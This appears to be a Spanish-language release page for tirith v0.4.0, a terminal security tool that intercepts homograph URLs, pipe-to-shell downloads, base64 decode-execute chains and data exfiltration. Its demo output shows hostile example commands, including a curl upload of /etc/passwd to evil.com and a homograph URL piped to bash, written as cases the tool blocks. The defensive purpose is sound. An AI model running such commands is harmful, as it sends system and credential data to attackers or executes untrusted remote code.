Volver a actualizaciones
Nuevo releaseAug 25, 2026

tirith v0.4.0

Seguridad en terminal para desarrolladores y agentes de IA. Intercepta URLs homógrafas, pipe-to-shell, inyección ANSI, payloads ofuscados, exfiltración de datos y skills/configuraciones maliciosas de IA antes de que se ejecuten.

Compartir

tirith

Tu navegador detectaría esto. Tu terminal no.

tirith, seguridad de terminal

CI GitHub Stars License: AGPL-3.0

Sitio web | Documentación | SKILL.md | Registro de cambios | Versiones

Vercel OSS Program

Proyecto de código abierto independiente, con alojamiento respaldado por el Vercel Open Source Program (Spring 2026 Cohort).


¿Puedes detectar la diferencia?

  curl -sSL https://install.example-cli.dev | bash     # safe
  curl -sSL https://іnstall.example-clі.dev | bash     # compromised

No puedes. Tu terminal tampoco. Ambos caracteres і son cirílicos (U+0456), no latinos i. La segunda URL resuelve a un servidor del atacante. El script se ejecuta antes de que te des cuenta.

Los navegadores resolvieron esto hace años. Las terminales todavía renderizan Unicode, secuencias de escape ANSI y caracteres invisibles sin cuestionarlos. Los agentes de IA ejecutan comandos de shell e instalan paquetes sin inspeccionar lo que hay dentro.

Tirith se sitúa en la puerta. Intercepta comandos, contenido pegado y archivos escaneados en busca de URLs homógrafas, payloads ofuscados, exfiltración de credenciales, skills/configs de IA maliciosos y paquetes/dominios/IPs maliciosos conocidos de una base de datos de inteligencia de amenazas firmada antes de que se ejecuten.

brew install tirith

Luego actívalo en el perfil de tu shell:

# zsh
eval "$(tirith init --shell zsh)"

# bash
eval "$(tirith init --shell bash)"

# fish
tirith init --shell fish | source

[!TIP] eval "$(tirith init)" detecta automáticamente tu shell actual (inspecciona el proceso padre y recurre a $SHELL si es necesario). El flag explícito --shell solo es necesario cuando quieres anular la detección.

O deja que Tirith escriba el archivo de inicio por ti, como un plan revisado que puedes deshacer:

tirith setup recommended --scope user --shell zsh --dry-run   # preview
tirith setup recommended --scope user --shell zsh             # apply

Eso es todo para la cobertura de la shell interactiva. Los comandos aceptados por esa shell se verifican mientras el hook está cargado y en buen estado; el comportamiento exacto de bloqueo depende de la shell y del modo. Ejecuta tirith status después de la instalación y las actualizaciones: indica si el hook cargado en esta terminal está actualizado. Ejecuta tirith doctor --verify-shell para observar el bloqueo en la propia shell, y lee enforcement by shell antes de tratar el hook como un límite de autorización. Los comandos limpios permanecen en silencio y normalmente toman la ruta rápida.

También disponible mediante npm, cargo, mise, apt/dnf y más.


Verlo funcionar

Ataque de homógrafos, bloqueado antes de la ejecución:

$ curl -sSL https://іnstall.example-clі.dev | bash

tirith: BLOCKED
  [CRITICAL] non_ascii_hostname, Cyrillic і (U+0456) in hostname
    This is a homograph attack. The URL visually mimics a legitimate
    domain but resolves to a completely different server.
  Bypass: prefix your command with TIRITH=0 (applies to that command only)

El comando nunca se ejecuta.

Solicitud HTTP simple a una dirección de LAN, advertida, no bloqueada:

$ curl http://192.168.1.20:8080/health

tirith: WARNING
  [MEDIUM] raw_ip_url, URL uses raw IP address
  [MEDIUM] plain_http_to_sink, Plain HTTP URL in execution context
  [MEDIUM] private_network_access, Private network access: 192.168.1.20

Advertencia impresa en stderr. El comando aún se ejecuta. Una descarga canalizada a un shell (curl ... | sh) no es una advertencia: se bloquea como curl_pipe_shell.

Cadena de decodificación-ejecución Base64, bloqueada:

$ echo payload | base64 -d | bash

tirith: BLOCKED
  [HIGH] base64_decode_execute, Base64 decode piped to interpreter
  [HIGH] pipe_to_interpreter, Pipe to interpreter: base64 | bash

Detecta también cadenas de decodificación a través de envoltorios sudo/env y de PowerShell -EncodedCommand.

Exfiltración de credenciales, bloqueada:

$ curl -d @/etc/passwd https://evil.com/collect

tirith: BLOCKED
  [HIGH] data_exfiltration, Data exfiltration via curl upload
    curl command uploads sensitive data to a remote server

Cubre todas las flags de carga de curl/wget, variables de entorno ($AWS_SECRET_ACCESS_KEY) y sustitución de comandos.

Archivo de skill malicioso, detectado en el escaneo:

$ tirith scan evil_skill.py

tirith scan: evil_skill.py, 3 finding(s)
  [MEDIUM] dynamic_code_execution, exec() near b64decode() in close proximity
  [MEDIUM] obfuscated_payload, Long base64 string decoded and executed
  [MEDIUM] suspicious_code_exfiltration, HTTP call passes sensitive data as argument

Escanea archivos JS/Python en busca de cargas útiles ofuscadas, ejecución dinámica de código y patrones de exfiltración de secretos.

Comandos normales, invisibles:

$ git status
$ ls -la
$ docker compose up -d

Nada. Cero salida. Olvidas que tirith se está ejecutando.


Qué detecta

245 reglas de detección en 35 categorías.

Categorías